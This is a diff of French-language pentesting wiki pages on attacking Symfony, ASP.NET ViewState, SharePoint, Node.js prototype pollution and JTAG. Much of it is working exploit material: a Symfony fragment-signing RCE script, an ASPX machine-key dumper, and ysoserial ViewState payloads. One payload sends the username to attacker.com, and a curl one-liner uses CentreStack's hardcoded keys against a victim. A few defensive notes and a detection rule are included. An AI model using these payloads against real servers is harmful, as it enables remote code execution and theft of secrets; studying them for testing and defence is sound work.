| `ProcessCmdLine CONTIENT ToolPane.aspx` (logs ETW/Module) | Les PoCs publics invoquent cette page |
Exemple de règle XDR / Sysmon (pseudo-XQL) :
```
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
```
## 5. Durcissement & Atténuation
1. **Patch** – Les mises à jour de sécurité de juillet 2025 corrigent *tous* les quatre CVE.
2. **Faire tourner** chaque `<machineKey>` et les secrets `ViewState` après compromission.
3. Supprimer la permission d'écriture *LAYOUTS* des groupes `WSS_WPG` & `WSS_ADMIN_WPG`.
4. Bloquer l'accès externe à `/_layouts/15/ToolPane.aspx` au niveau du proxy/WAF.
5. Activer **ViewStateUserKey**, **MAC activé**, et *EventValidation* personnalisé.
## Astuces connexes
* IIS post-exploitation & abus de web.config :
{{#ref}}
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
{{#endref}}
## Références
- [Unit42 – Exploitation active des vulnérabilités de Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
- [GitHub PoC – Chaîne d'exploitation ToolShell](https://github.com/real-or-not/ToolShell)
- [Avis de sécurité Microsoft – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
- [Unit42 – Projet AK47 / Activité d'exploitation de SharePoint & ransomware](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
- [Avis de sécurité Microsoft – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
{{#include ../../banners/hacktricks-training.md}}

121
src/network-services-pentesting/pentesting-web/symphony.md
View File

@ -2,10 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
Jetez un œil aux publications suivantes :
Symfony est l'un des frameworks PHP les plus utilisés et apparaît régulièrement dans les évaluations des cibles d'entreprise, de commerce électronique et de CMS (Drupal, Shopware, Ibexa, OroCRM… tous intègrent des composants Symfony). Cette page collecte des conseils offensifs, des configurations incorrectes courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrôle lorsque vous découvrez une application Symfony.
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
> Note historique : Une grande partie de l'écosystème utilise encore la branche **5.4 LTS** (EOL **novembre 2025**). Vérifiez toujours la version mineure exacte car de nombreux avis de sécurité de 2023-2025 ne sont corrigés que dans des versions de patch (par exemple, 5.4.46 → 5.4.50).
---
## Recon & Enumeration
### Finger-printing
* En-têtes de réponse HTTP : `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` ou cookies commençant par `sf_redirect`, `sf_session`, `MOCKSESSID`.
* Les fuites de code source (`composer.json`, `composer.lock`, `/vendor/…`) révèlent souvent la version exacte :
```bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
```
* Routes publiques qui n'existent que sur Symfony :
* `/_profiler` (Symfony **Profiler** & barre d'outils de débogage)
* `/_wdt/<token>` (“Web Debug Toolbar”)
* `/_error/{code}.{_format}` (pages d'erreur jolies)
* `/app_dev.php`, `/config.php`, `/config_dev.php` (contrôleurs frontaux de développement pré-4.0)
* Wappalyzer, BuiltWith ou listes de mots ffuf/feroxbuster : `symfony.txt` → recherchez `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
### Fichiers et points de terminaison intéressants
| Chemin | Pourquoi c'est important |
|--------|-------------------------|
| `/.env`, `/.env.local`, `/.env.prod` | Souvent mal déployés → fuites `APP_SECRET`, identifiants DB, SMTP, clés AWS |
| `/.git`, `.svn`, `.hg` | Divulgation de source → identifiants + logique métier |
| `/var/log/*.log`, `/log/dev.log` | Mauvaise configuration de la racine web expose des traces de pile |
| `/_profiler` | Historique complet des requêtes, configuration, conteneur de services, **APP_SECRET** (≤ 3.4) |
| `/_fragment` | Point d'entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez `APP_SECRET` |
| `/vendor/phpunit/phpunit/phpunit` | RCE PHPUnit si accessible (CVE-2017-9841) |
| `/index.php/_error/{code}` | Finger-print & parfois fuite des traces d'exception |
---
## Vulnérabilités à fort impact (2023-2025)
### 1. Divulgation de APP_SECRET ➜ RCE via `/_fragment` (alias “secret-fragment”)
* **CVE-2019-18889** à l'origine, mais *apparaît toujours* sur des cibles modernes lorsque le débogage est laissé activé ou que `.env` est exposé.
* Une fois que vous connaissez le `APP_SECRET` de 32 caractères, créez un jeton HMAC et abusez du contrôleur interne `render()` pour exécuter du Twig arbitraire :
```python
# PoC – nécessite le secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE dans Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
```
* Excellent article et script d'exploitation : blog Ambionics (lié dans les références).
### 2. Détournement de processus Windows – CVE-2024-51736
* Le composant `Process` recherchait le répertoire de travail actuel **avant** `PATH` sur Windows. Un attaquant capable de télécharger `tar.exe`, `cmd.exe`, etc. dans une racine web écrivable et de déclencher `Process` (par exemple, extraction de fichiers, génération de PDF) obtient l'exécution de commandes.
* Corrigé dans 5.4.50, 6.4.14, 7.1.7.
### 3. Fixation de session – CVE-2023-46733
* Le garde d'authentification a réutilisé un ID de session existant après la connexion. Si un attaquant définit le cookie **avant** que la victime ne s'authentifie, il détourne le compte après la connexion.
### 4. XSS dans le sandbox Twig – CVE-2023-46734
* Dans les applications qui exposent des modèles contrôlés par l'utilisateur (CMS admin, constructeur d'e-mails), le filtre `nl2br` pourrait être abusé pour contourner le sandbox et injecter du JS.
### 5. Chaînes de gadgets Symfony 1 (toujours trouvées dans des applications héritées)
* `phpggc symfony/1 system id` produit une charge utile Phar qui déclenche RCE lorsqu'un unserialize() se produit sur des classes telles que `sfNamespacedParameterHolder`. Vérifiez les points de terminaison de téléchargement de fichiers et les wrappers `phar://`.
{{#ref}}
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
{{#endref}}
---
## Exploitation Cheat-Sheet
### Calculer le jeton HMAC pour `/_fragment`
```bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
```
### Bruteforce faible `APP_SECRET`
```bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
```
### RCE via exposed Symfony Console
Si `bin/console` est accessible via `php-fpm` ou un téléchargement direct en CLI :
```bash
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
```
Utilisez des gadgets de désérialisation dans le répertoire de cache ou écrivez un modèle Twig malveillant qui sera exécuté lors de la prochaine requête.
---
## Notes défensives
1. **Ne jamais déployer le débogage** (`APP_ENV=dev`, `APP_DEBUG=1`) en production ; bloquez `/app_dev.php`, `/_profiler`, `/_wdt` dans la configuration du serveur web.
2. Stockez les secrets dans des variables d'environnement ou `vault/secrets.local.php`, *jamais* dans des fichiers accessibles via le document-root.
3. Appliquez la gestion des correctifs – abonnez-vous aux avis de sécurité Symfony et maintenez au moins le niveau de correctif LTS.
4. Si vous exécutez sur Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 ou ajoutez une défense en profondeur `open_basedir`/`disable_functions`.
---
### Outils offensifs utiles
* **ambionics/symfony-exploits** – RCE de fragment secret, découverte de routes de débogage.
* **phpggc** – Chaînes de gadgets prêtes à l'emploi pour Symfony 1 & 2.
* **sf-encoder** – petit outil pour calculer le HMAC de `_fragment` (implémentation Go).
## Références
* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
{{#include ../../banners/hacktricks-training.md}}

95
src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
View File

@ -11,8 +11,8 @@
Les informations de ViewState peuvent être caractérisées par les propriétés suivantes ou leurs combinaisons :
- **Base64** :
- Ce format est utilisé lorsque les attributs `EnableViewStateMac` et `ViewStateEncryptionMode` sont tous deux définis sur false.
- **Base64 + MAC (Code d'Authentification de Message) Activé** :
- Ce format est utilisé lorsque les attributs `EnableViewStateMac` et `ViewStateEncryptionMode` sont définis sur false.
- **Base64 + MAC (Message Authentication Code) Activé** :
- L'activation de MAC est réalisée en définissant l'attribut `EnableViewStateMac` sur true. Cela fournit une vérification d'intégrité pour les données de ViewState.
- **Base64 + Chiffré** :
- Le chiffrement est appliqué lorsque l'attribut `ViewStateEncryptionMode` est défini sur true, garantissant la confidentialité des données de ViewState.
@ -28,7 +28,7 @@ L'image est un tableau détaillant différentes configurations pour ViewState da
### Cas de Test : 1 – EnableViewStateMac=false et viewStateEncryptionMode=false
Il est également possible de désactiver complètement le ViewStateMAC en définissant la clé de registre `AspNetEnforceViewStateMac` à zéro dans :
Il est également possible de désactiver complètement le ViewStateMAC en définissant la clé de registre `AspNetEnforceViewStateMac` sur zéro dans :
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
@ -61,7 +61,7 @@ Nous pouvons également le faire pour l'application **globale** en le définissa
</system.web>
</configuration>
```
Comme le paramètre est protégé par MAC cette fois, pour exécuter l'attaque avec succès, nous avons d'abord besoin de la clé utilisée.
Comme le paramètre est protégé par MAC, cette fois, pour exécuter l'attaque avec succès, nous avons d'abord besoin de la clé utilisée.
Vous pouvez essayer d'utiliser [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) pour trouver la clé utilisée.
```
@ -102,13 +102,13 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
--generator = {__VIWESTATEGENERATOR parameter value}
```
Dans les cas où le paramètre `_VIEWSTATEGENERATOR` **n'est pas envoyé** par le serveur, vous **n'avez pas besoin** de **fournir** le paramètre `--generator` **mais ceux-ci** :
Dans les cas où le paramètre `_VIEWSTATEGENERATOR` **n'est pas envoyé** par le serveur, vous **n'avez pas** besoin de **fournir** le paramètre `--generator` **mais ceux-ci** :
```bash
--apppath="/" --path="/hello.aspx"
```
### Test Case: 3 – .Net < 4.5 et EnableViewStateMac=true/false et ViewStateEncryptionMode=true
Dans ce cas, il n'est pas connu si le paramètre est protégé par MAC. Alors, la valeur est probablement chiffrée et vous **aurez besoin de la Machine Key pour chiffrer votre payload** afin d'exploiter la vulnérabilité.
Dans ce cas, il n'est pas connu si le paramètre est protégé par MAC. Alors, la valeur est probablement chiffrée et vous aurez **besoin de la Machine Key pour chiffrer votre payload** afin d'exploiter la vulnérabilité.
**Dans ce cas, le** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **module est en cours de développement...**
@ -124,7 +124,7 @@ Nous pouvons forcer l'utilisation du framework ASP.NET en spécifiant le paramè
```xml
<httpRuntime targetFramework="4.5" />
```
Alternativement, cela peut être fait en spécifiant l'option ci-dessous dans le paramètre `machineKey` du fichier web.config.
Alternativement, cela peut être fait en spécifiant l'option ci-dessous à l'intérieur du paramètre `machineKey` du fichier web.config.
```bash
compatibilityMode="Framework45"
```
@ -138,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
Pour une description plus détaillée de IISDirPath et TargetPagePath [référez-vous ici](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Pour une description plus détaillée pour IISDirPath et TargetPagePath [référez-vous ici](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
Ou, avec [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (avec une valeur de générateur) :
```bash
@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
```
![https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
Une fois qu'une clé Machine valide est identifiée, **l'étape suivante consiste à générer une charge utile sérialisée en utilisant** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
Une fois qu'une clé de machine valide est identifiée, **l'étape suivante consiste à générer une charge utile sérialisée en utilisant** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
@ -155,26 +155,95 @@ Si vous avez la valeur de `__VIEWSTATEGENERATOR`, vous pouvez essayer d'**utilis
![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png)
Une exploitation réussie de la vulnérabilité de désérialisation ViewState entraînera une requête hors bande vers un serveur contrôlé par l'attaquant, qui inclut le nom d'utilisateur. Ce type d'exploit est démontré dans une preuve de concept (PoC) qui peut être trouvée à travers une ressource intitulée "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Pour plus de détails sur le fonctionnement du processus d'exploitation et comment utiliser des outils comme Blacklist3r pour identifier le MachineKey, vous pouvez consulter la [PoC d'Exploitation Réussie](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
Une exploitation réussie de la vulnérabilité de désérialisation de ViewState entraînera une requête hors bande vers un serveur contrôlé par l'attaquant, qui inclut le nom d'utilisateur. Ce type d'exploit est démontré dans une preuve de concept (PoC) qui peut être trouvée à travers une ressource intitulée "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Pour plus de détails sur le fonctionnement du processus d'exploitation et comment utiliser des outils comme Blacklist3r pour identifier le MachineKey, vous pouvez consulter le [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) fourni.
### Cas de Test 6 – ViewStateUserKeys est utilisé
### Test Case 6 – ViewStateUserKeys est utilisé
La propriété **ViewStateUserKey** peut être utilisée pour **défendre** contre une **attaque CSRF**. Si une telle clé a été définie dans l'application et que nous essayons de générer la charge utile **ViewState** avec les méthodes discutées jusqu'à présent, la **charge utile ne sera pas traitée par l'application**.\
Vous devez utiliser un paramètre supplémentaire afin de créer correctement la charge utile :
Vous devez utiliser un paramètre de plus pour créer correctement la charge utile :
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### Résultat d'une exploitation réussie <a href="#poc" id="poc"></a>
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, alors le serveur répond avec “**500 Internal server error**” ayant le contenu de réponse “**Les informations d'état ne sont pas valides pour cette page et pourraient être corrompues**” et nous obtenons la requête OOB.
Pour tous les cas de test, si la charge utile ViewState YSoSerial.Net fonctionne **avec succès**, alors le serveur répond avec “**500 Internal server error**” ayant le contenu de la réponse “**L'information d'état est invalide pour cette page et pourrait être corrompue**” et nous obtenons la requête OOB.
Vérifiez [plus d'informations ici](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
### Dumping des clés de machine ASP.NET via réflexion (SharPyShell/SharePoint ToolShell)
Les attaquants capables de **télécharger ou d'exécuter du code ASPX arbitraire** à l'intérieur de la racine web cible peuvent directement récupérer les clés secrètes qui protègent `__VIEWSTATE` au lieu de les brute-forcer. Une charge utile minimale qui fuit les clés exploite des classes internes .NET via réflexion :
```csharp
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
```
La demande de la page imprime la **ValidationKey**, **DecryptionKey**, l'algorithme de chiffrement et le mode de compatibilité ASP.NET. Ces valeurs peuvent maintenant être directement utilisées dans **ysoserial.net** pour créer un gadget `__VIEWSTATE` valide et signé :
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
```
Cette **primitive d'exfiltration de clé** a été massivement exploitée contre des serveurs SharePoint sur site en 2025 ("ToolShell" – CVE-2025-53770/53771), mais elle est applicable à toute application ASP.NET où un attaquant peut exécuter du code côté serveur.
## Scénarios d'exploitation dans le monde réel 2024-2025 et clés de machine codées en dur
### Vague de "clés de machine divulguées publiquement" de Microsoft (Déc 2024 – Fév 2025)
Microsoft Threat Intelligence a signalé une exploitation massive de sites ASP.NET où la *machineKey* avait précédemment été divulguée sur des sources publiques (gists GitHub, articles de blog, sites de paste). Les adversaires ont énuméré ces clés et généré des gadgets `__VIEWSTATE` valides avec les nouveaux drapeaux `ysoserial.net` 1.41 `--minify` et `--islegacy` pour éviter les limites de longueur du WAF :
```bash
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
```
Faire tourner des clés statiques ou passer à des clés *AutoGenerate* dans Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) atténue cette classe d'attaques.
### CVE-2025-30406 – Gladinet CentreStack / Triofox clés codées en dur
Kudelski Security a découvert que plusieurs versions de CentreStack / Triofox étaient livrées avec des valeurs `machineKey` identiques, permettant l'exécution de code à distance non authentifiée via la falsification de ViewState (CVE-2025-30406).
Exploitation en une ligne :
```bash
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
```
Fixé dans CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – mettez à jour ou remplacez les clés immédiatement. {{#ref}}
{{#endref}}
## Références
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
{{#include ../../banners/hacktricks-training.md}}

30
src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md
View File

@ -11,7 +11,7 @@ console.log(Object.create(null)) // This will output an empty object.
```
Un objet vide est semblable à un dictionnaire vide, représenté par `{}`.
### Fonctions et classes en JavaScript
### Fonctions et Classes en JavaScript
En JavaScript, les classes et les fonctions sont étroitement liées, les fonctions servant souvent de constructeurs pour les classes. Malgré l'absence de support natif des classes en JavaScript, les constructeurs peuvent imiter le comportement des classes.
```javascript
@ -33,7 +33,7 @@ employee1.__proto__
```
### Prototypes en JavaScript
JavaScript permet la modification, l'ajout ou la suppression d'attributs de prototype à l'exécution. Cette flexibilité permet l'extension dynamique des fonctionnalités des classes.
JavaScript permet la modification, l'ajout ou la suppression d'attributs de prototype à l'exécution. Cette flexibilité permet l'extension dynamique des fonctionnalités de classe.
Des fonctions comme `toString` et `valueOf` peuvent être modifiées pour changer leur comportement, démontrant la nature adaptable du système de prototype de JavaScript.
@ -183,7 +183,7 @@ Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
```
Le mécanisme derrière cela implique de manipuler des propriétés de sorte que si un attaquant a le contrôle de certaines entrées, il peut modifier le prototype de tous les objets dans l'application. Cette manipulation implique généralement de définir la propriété `__proto__`, qui, en JavaScript, est synonyme de modification directe du prototype d'un objet.
Le mécanisme derrière cela implique de manipuler des propriétés de sorte que si un attaquant a le contrôle sur certaines entrées, il peut modifier le prototype de tous les objets dans l'application. Cette manipulation implique généralement de définir la propriété `__proto__`, qui, en JavaScript, est synonyme de modification directe du prototype d'un objet.
Les conditions sous lesquelles cette attaque peut être exécutée avec succès, comme décrit dans une [étude](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf) spécifique, incluent :
@ -191,7 +191,7 @@ Les conditions sous lesquelles cette attaque peut être exécutée avec succès,
- Définir des propriétés en fonction d'un chemin.
- Cloner des objets.
### Fonction de remplacement
### Override function
```python
customer.__proto__.toString = ()=>{alert("polluted")}
```
@ -211,9 +211,9 @@ Autres charges utiles :
client-side-prototype-pollution.md
{{#endref}}
### CVE-2019–11358 : Attaque par pollution de prototype via jQuery $ .extend
### CVE-2019–11358 : Attaque de pollution de prototype via jQuery $ .extend
[Pour plus de détails, consultez cet article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Dans jQuery, la fonction `$ .extend` peut entraîner une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :
[Pour plus de détails, consultez cet article](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Dans jQuery, la fonction `$ .extend` peut conduire à une pollution de prototype si la fonctionnalité de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, des propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
@ -228,9 +228,9 @@ Cette vulnérabilité, identifiée comme CVE-2019–11358, illustre comment une
### Un autre tutoriel avec des CVE
{{#ref}}
https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2
{{#endref}}
- [https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2](https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2)
### Outils pour détecter la pollution de prototype
@ -239,9 +239,9 @@ https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-a
### Pollution de Prototype AST dans NodeJS
NodeJS utilise largement les arbres de syntaxe abstraite (AST) en JavaScript pour des fonctionnalités telles que les moteurs de templates et TypeScript. Cette section explore les vulnérabilités liées à la pollution de prototype dans les moteurs de templates, spécifiquement Handlebars et Pug.
NodeJS utilise largement les arbres de syntaxe abstraite (AST) en JavaScript pour des fonctionnalités telles que les moteurs de templates et TypeScript. Cette section explore les vulnérabilités liées à la pollution de prototype dans les moteurs de templates, en particulier Handlebars et Pug.
#### Analyse de la vulnérabilité Handlebars
#### Analyse de la vulnérabilité de Handlebars
Le moteur de template Handlebars est susceptible à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier `javascript-compiler.js`. La fonction `appendContent`, par exemple, concatène `pendingContent` si elle est présente, tandis que la fonction `pushSource` réinitialise `pendingContent` à `undefined` après avoir ajouté la source.
@ -250,10 +250,10 @@ Le moteur de template Handlebars est susceptible à une attaque de pollution de
L'exploitation tire parti de l'AST (Arbre de Syntaxe Abstraite) produit par Handlebars, suivant ces étapes :
1. **Manipulation du Parser** : Initialement, le parser, via le nœud `NumberLiteral`, impose que les valeurs soient numériques. La pollution de prototype peut contourner cela, permettant l'insertion de chaînes non numériques.
2. **Gestion par le Compilateur** : Le compilateur peut traiter un objet AST ou un template de chaîne. Si `input.type` est égal à `Program`, l'entrée est traitée comme pré-analysée, ce qui peut être exploité.
3. **Injection de Code** : Par la manipulation de `Object.prototype`, on peut injecter du code arbitraire dans la fonction de template, ce qui peut conduire à une exécution de code à distance.
2. **Gestion par le Compilateur** : Le compilateur peut traiter un objet AST ou un template de chaîne. Si `input.type` est égal à `Program`, l'entrée est considérée comme pré-analysée, ce qui peut être exploité.
3. **Injection de Code** : Par la manipulation de `Object.prototype`, on peut injecter du code arbitraire dans la fonction de template, ce qui peut entraîner une exécution de code à distance.
Un exemple démontrant l'exploitation de la vulnérabilité Handlebars :
Un exemple démontrant l'exploitation de la vulnérabilité de Handlebars :
```javascript
const Handlebars = require("handlebars")
@ -315,7 +315,7 @@ requests.get(TARGET_URL)
```
#### Vulnérabilité Pug
Pug, un autre moteur de templates, fait face à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Pug, un autre moteur de template, fait face à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur [AST Injection in Pug](https://blog.p6.is/AST-Injection/#Pug).
Exemple de pollution de prototype dans Pug :
```python

112
src/todo/hardware-hacking/jtag.md
View File

@ -2,25 +2,119 @@
{{#include ../../banners/hacktricks-training.md}}
{{#ref}}
README.md
{{#endref}}
## JTAGenum
[**JTAGenum** ](https://github.com/cyphunk/JTAGenum) est un outil qui peut être utilisé avec un Raspberry PI ou un Arduino pour essayer de trouver les broches JTAG d'une puce inconnue.\
Dans l'**Arduino**, connectez les **broches de 2 à 11 à 10 broches potentiellement appartenant à un JTAG**. Chargez le programme dans l'Arduino et il essaiera de brute-forcer toutes les broches pour déterminer si l'une d'elles appartient à JTAG et laquelle est laquelle.\
Dans le **Raspberry PI**, vous ne pouvez utiliser que **les broches de 1 à 6** (6 broches, donc vous avancerez plus lentement en testant chaque broche JTAG potentielle).
[**JTAGenum**](https://github.com/cyphunk/JTAGenum) est un outil que vous pouvez charger sur un MCU compatible Arduino ou (expérimentalement) un Raspberry Pi pour forcer les pinouts JTAG inconnus et même énumérer les registres d'instructions.
### Arduino
